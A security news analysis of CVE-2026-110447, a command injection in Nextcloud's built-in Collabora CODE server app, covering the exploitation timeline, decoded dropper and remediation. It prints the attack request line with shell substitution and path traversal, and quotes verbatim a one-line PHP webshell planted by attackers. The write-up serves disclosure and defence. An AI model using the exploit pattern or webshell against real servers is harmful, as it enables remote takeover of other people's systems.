The Office Suite Installed the Webshell: Collabora CVE-2026-110447 and the Nextcloud Backdoors

2026-10-15 Agent & Supply Chain Security by al-ice.ai Editorial

The NVD record published 14 October 2026 is blunt: CVE-2026-110447, an OS command injection (CWE-78) in proxy.php of the Collabora Online – Built-in CODE Server Nextcloud app (richdocumentscode) before version 26.4.303, exploited in the wild in September and October 2026. CVSS 4.0 9.2, AV:N/AC:L/AT:P/PR:N/UI:N — no credentials, no user interaction. The trigger condition is what makes this a fleet-wide landmine rather than a single bug: the injection fires when the CODE server isn’t running, e.g. after a restart. Every maintenance window, every upgrade reboot, every crash quietly re-arms the exploit. Standalone Collabora Online servers are not affected; only this bundled deployment path is. And the record is explicit that this is a different vulnerability than CVE-2025-66208 — the last CODE-server flaw did not end the story.

This belongs on an agent-security feed for the reason our Zimbra webshell coverage, the AhsayCBS backup-server takeover and the SharePoint KEV chain did: self-hosted collaboration infrastructure is where organizations park the documents their agents read, and a webshell there is positioned upstream of every retrieval pipeline.

The log line that is the whole vulnerability

The public record of exploitation starts not with an advisory but with a victim’s access log. On 11 September 2026, a hosting operator reported in richdocumentscode issue #354 that several Nextcloud servers were being hacked through the app, with a log line timestamped 10 September, 19:51 +0200 returning HTTP 200:

GET /x$(echo${IFS}…|base64${IFS}-d|sh)x/../apps/richdocumentscode/proxy.php?status

The shape is the mechanism: a path segment carrying shell command substitution ($(...), with ${IFS} in place of spaces to dodge naive filtering) plus a path traversal (/../apps/richdocumentscode/proxy.php) so the request lands on the app’s proxy endpoint while the CODE server is down — at which point the PHP exec() the app uses to launch Collabora executes the smuggled command. We base64-decoded the dropper from the public log (analysis only; nothing executed) and it is a textbook two-stage implant. Stage one writes shrf4645.php whose entire content is <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1'); — a GET-parameter webshell with an id default. Stage two beacons the output of uname -a, base64url-encoded, to a webhook.site URL, trying curl -skm, then wget --no-check-certificate, then plain curl. Survey-then-shell: the operator fingerprints the fleet before bothering to interact with it. Exploitation therefore dates to at least 10 September — more than a month before the CVE existed.

Disabling the app does not remove the shell

The critical operational point follows directly from the decoded payload: the webshell is a standalone .php file sitting in the app directory, completely independent of whether the vulnerable app remains installed or enabled. Removing or disabling richdocumentscode closes the injection vector but leaves the attacker’s shell exactly where it was dropped. Patching without hunting is theater.

The community understood this before the CVE apparatus did. On 3 October, a Nextcloud forum warning — posted with the explicit note that no CVE had been published — told operators to update the built-in app immediately, described the flaw as a shell command injection in the PHP exec() used to start Collabora, reported webshells found on real servers, and drew the unaffected boundary precisely: deployments using richdocuments without the built-in app, Docker or distribution-packaged Collabora, and hosted Collabora offerings are not exposed. Affected: richdocumentscode v26.4.302 and older. When the CVE landed on 14 October, the same thread collected the identifiers: NVD, EUVD-2026-100780, GHSA-F97P-R72Q-64H2 and the vendor-side GHSA-g3vx-3m76-fghh, severity 9.2. We verified GHSA-F97P-R72Q-64H2 in the global advisory database via API ourselves: published 14 October, severity Critical, CWE-78.

A 34-day disclosure gap, measured honestly

The timeline is: exploitation observed 10–11 September, community warning 3 October, CVE and advisories 14 October — a 34-day window in which the only signal was a GitHub issue and a forum post. One discrepancy is worth recording rather than smoothing over: the NVD description states the flaw was exploited in the wild in September and October, while the CISA-coordinator SSVC entry attached to the same NVD record (timestamped 14 October) assesses exploitation:none, automatable:no, technicalImpact:total. Coordinator telemetry lags victim incident reports; when the two disagree, believe the access logs. Self-hosted Nextcloud fleets are also the population least likely to be covered by commercial detection telemetry, which is presumably part of why the gap lasted as long as it did.

Remediation

Update richdocumentscode to 26.4.303 or later, or remove the app if you run standalone, Docker-packaged or hosted Collabora — those paths were never vulnerable. If the built-in app was installed at any point while the CODE server was stopped, restarted or crashed, assume the injection window opened: hunt for unexpected .php files in and around the app directories, search access logs for proxy.php?status requests carrying /x$( patterns, and rotate secrets on affected hosts, because the dropped shell runs as the web-server user with full request reach. And note the structural lesson for the next restart window: any launcher that builds a shell command from request-influenced input re-arms itself on every reboot — the fix is argument separation at the exec() call, not a cleaner restart procedure.

Reporting note: the CVE description, CVSS 4.0 vector and score, CWE-78, publication timestamp, source, status, affected/fixed versions and the CVE-2025-66208 distinction were read first-hand from the NVD 2.0 API; the GHSA-F97P-R72Q-64H2 publication date, severity and CWE were read first-hand from the GitHub advisory API. The exploit log line and report date are from public issue #354 on the richdocumentscode repository, and the base64 dropper it contains was decoded locally for static analysis only — the inner webshell source is quoted verbatim above. The affected-version boundary, the unaffected deployment list and the identifier collection were read first-hand from the Nextcloud community forum thread. Nothing was installed, no Nextcloud instance was contacted, no payload was executed and no third-party request was sent beyond fetching the cited public pages. A Brave Search query returned the primary sources plus news summaries and mirrors; no independent technical analysis beyond the credited reporters was available at the time of writing.

Sources: